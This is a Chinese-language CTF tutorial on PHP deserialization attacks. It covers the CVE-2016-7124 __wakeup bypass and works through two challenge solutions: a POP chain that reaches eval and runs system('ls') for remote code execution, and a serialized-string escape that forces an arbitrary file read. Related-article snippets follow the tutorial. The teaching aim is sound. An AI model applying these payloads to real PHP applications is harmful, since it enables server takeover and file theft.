<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CTF反序列化入門

    VSole2022-07-11 16:27:22

    一、序列化及其反序列化

    序列化是將對象狀態轉換為可保持或可傳輸的格式的過程。與序列化相對的是反序列化,它將流轉換為對象。這兩個過程結合起來,可以輕松地存儲和傳輸數據。

    就是將對象的狀態信息寫成一串字符,以便傳輸和保存。

    o: 對象

    a: 數組

    s: 字符串

    i: 整型

    序列化函數:serialize()

    反序列化函數: unserialize()

    o:4:"info":2:{s:4:"name";i:2:"19";}

    demo:

    <?phpclass test{    public $name = "f1r3K0";    public $age = "18";}$class = new test();$class_ser = serialize($class);print_r($class_ser);
    

    O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

    其中$class 對test這個類進行實例化。

    二、CTF反序列化之魔術方法

    常見漏洞(CVE-2016-7124)

    此漏洞發生于__wakeup這個事件型魔術方法。

    只要對象的屬性(變量)數大于實際的個數時,__wakeup就可以被被繞過。

    如:O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

    改為:O:4:"test":3:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

    __wakeup就不會被執行,產生繞過效果。

    <?phpclass xctf{    public $flag = '111';    public function __wakeup(){        exit("bad request");    }    $text = new xctf();    echo(serialize($text));?>
    

    POP鏈

    POP鏈的形成是由于在序列化和反序列化的過程中,事件型的魔術方法在特定的情況下被觸發,達到跳轉到含有漏洞的類中的目的。

    這里上一道例題

    ezpop

    題目給了php源碼。

    <?php class crow{    public $v1;    public $v2;     function eval() {        echo new $this->v1($this->v2);    }     public function __invoke(){        $this->v1->world();    }} class fin{    public $f1;     public function __destruct(){        echo $this->f1 . '114514';    }     public function run(){        ($this->f1)();    }     public function __call($a, $b){        echo $this->f1->get_flag();    } } class what{    public $a;     public function __toString(){        $this->a->run();        return 'hello';    }}class mix{    public $m1;     public function run(){        ($this->m1)();    }     public function get_flag(){        eval('#' . $this->m1);    } } if (isset($_POST['cmd'])) {    unserialize($_POST['cmd']);} else {    highlight_file(__FILE__);}
    

    可以看到有多個魔術方法,

    __invoke() 當嘗試以調用函數的方式調用一個對象時(把對象當函數用),

    __destruct() 會在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。(最后的時候)

    __call() 在對象中調用一個不可訪問方法時,會被調用。

    __toString() 方法用于一個類被當成字符串時應怎樣回應。

    通過魔術方法在特定情況下的自動調用來控制更多類里的函數,本題的最終目的是調用到get_flag()函數。

    pop鏈:fin->what->fin->crow->fin->mix

    $a=new fin();

    $a->f1=new what();

    $a->f1->a=new fin();

    $a->f1->a->f1=new crow();

    $a->f1->a->f1->v1=new fin();

    $a->f1->a->f1->v1->f1=new mix();

    $a->f1->a->f1->v1->f1->m1="\n system('ls');";

    echo urlencode(serialize($a));

    payload:

    O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0A+system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7
    

    最后用POST的方式傳給cmd實現RCE。

    萌新避坑:

    【1】在傳遞payload時使用urlencode可以避免很多問題。

    【2】在用hackbar傳入url編碼時,可能會將%0A(linux的換行符編碼)自動轉化為%0D%0A(window的換行符編碼)所以在此慎用。

    三、CTF反序列化之字符串逃逸

    從一道例題開始

    [安洵杯 2019]easy_serialize_php

    代碼審計:

    <?php $function = @$_GET['f']; function filter($img){  //過濾函數    $filter_arr = array('php','flag','php5','php4','fl1g');  //過濾名單    $filter = '/'.implode('|',$filter_arr).'/i';    return preg_replace($filter,'',$img);  //以空格代替}  if($_SESSION){    unset($_SESSION);} $_SESSION["user"] = 'guest';$_SESSION['function'] = $function; extract($_POST);  //extract函數:將變量從數組中導入當前的符號表,這里是把post里的值取出來變為PHP變量,比如name=user,則為$name=user,最重要的是它會再變量沖突時覆蓋前面的變量。 if(!$function){    echo '<a href="index.php?f=highlight_file">source_code</a>';} if(!$_GET['img_path']){    $_SESSION['img'] = base64_encode('guest_img.png');}else{    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));} $serialize_info = filter(serialize($_SESSION));  //產生字符串逃逸 if($function == 'highlight_file'){    highlight_file('index.php');}else if($function == 'phpinfo'){    eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));}
    

    通過反序列化的字符串逃逸進行任意文件讀取,$_SESSION["user"]

    和$_SESSION['function']是可控的,但是用于讀取文件的

     $_SESSION['img']卻是不能直接控制的,所以要通過逃逸在function中構造出img的那一部分序列化,user則用來控制逃逸的字符串的數量。

    具體思路:

    通過user控制一個字符串的數量,目標是將function自帶的那部分序列化變成user的值,使之失去影響,然后在 function中構造我們想要的function序列化以及img的序列化,使自帶的img序列化失效。

    總結公式:13+函數名位數+函數字符長度 ";s:函數名位數:"函數字符長度";s:??:"a"

    payload:

    _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
    

    形成的序列化:

    a:3:{s:4:"user";s:24:"【";s:8:"function";s:1:"a"】;s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

    【】是user的值。

    序列化session
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php反序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    php反序列化初探
    2023-04-23 09:50:02
    php中的反序列化漏洞通過控制php中的魔術方法,傳入構造的惡意反序列化后的字符串,通過魔術方法觸發反序列化漏洞,執行我們的惡意代碼。注意反序列化構造的類名必須和源碼中的一致,不能新生成一個類名。執行eval方法需要調用action()方法,action()方法的調用可以再ClassA的__destruct中調用
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    0x01.對比補丁 發現在./yii2/db/中新增了wakeup方法,在wakeup方法中拋出了一個異常。 我們看下__wakeup方法的介紹: unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先...
    unserialize()函數能夠重新把字符串變回php原來的值。為了能夠unserialize()一個對象,這個對象的類必須已經定義過。如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。將對象格式化成有序的字符串。序列化的目的是方便數據的傳輸和存儲,在PHP中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
    前言目前官方已經不再維護ThinkPHP3.2.3,本文僅對ThinkPHP3.2.3反序列化鏈子進行復現,如有紕漏,還望指正。前面一共涉及到三個類,我們在Model.class.php中打印一個值,構造這三個類序列化字符串如下:。下方的sql語句可能存在注入這里直接對table進行拼接,上方有一個parseTable方法,跟進看一下,看看是否存在過濾。
    未授權的反序列化漏洞,評分為7.5分,初步感覺可能缺少Gadget,導致無法RCE。但分析后發現可以找到RCE Gadget。此外CVE-2020-28653補丁修復存在缺陷,導致很容易被繞過,形成新的RCE漏洞CVE-2021-3287。
    CTF反序列化入門
    2022-07-11 16:27:22
    這兩個過程結合起來,可以輕松地存儲和傳輸數據。就是將對象的狀態信息寫成一串字符,以便傳輸和保存。
    初識Java反序列化
    2022-06-10 08:49:49
    研究某產品反序列化EXP時,搜集到的POC只有一段16進制字節序列難以利用,遂有下文對Java序列化和反序列化的學習。 大致內容如下: 序列化和反序列化示例 序列化數據組成解構 反序列化漏洞形成原理
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类